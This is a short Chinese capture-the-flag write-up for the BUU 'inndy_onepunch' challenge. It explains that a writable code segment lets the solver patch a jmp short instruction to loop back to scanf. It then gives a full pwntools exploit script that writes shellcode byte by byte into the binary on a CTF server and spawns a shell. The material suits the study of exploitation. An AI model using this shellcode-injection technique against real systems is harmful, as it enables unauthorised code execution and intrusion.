BUU-inndy_onepunch-WP
哈哈这道题其实没什么可说的,一看只有一次修改一个字节的机会,自然没什么思路

但是此题代码段可修改,所以我们修改一个jmp short
指令就可以让程序再次跳转到scanf
处了,这样就轻松地实现了多次利用。然后用同样地方法把shellcode
写入并执行就可以get shell
了。(关于jmp short
指令我曾经简单的在这篇文章中记录过)
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = "debug",os = "linux",arch = "amd64")
jmp_addr = 0x400768
offset_to_scanf = 0x40071d - 0x400769 + 256
shellcode = asm(shellcraft.sh())
shell_start = 0x400790
index = 0
#sh = process("./onepunch")
sh = remote("node3.buuoj.cn",27009)
def change_ins(addr,val):
sh.sendlineafter("Where What?",hex(addr) + ' ' + str(val))
change_ins(jmp_addr,offset_to_scanf)
for i in shellcode:
change_ins(shell_start + index,ord(i))
index += 1
change_ins(jmp_addr,shell_start - 0x400769)
sh.interactive()
这确实给了我一个新的思路,看似牢不可破时可以尝试一下代码段。不过这样出题感觉还是太CTF了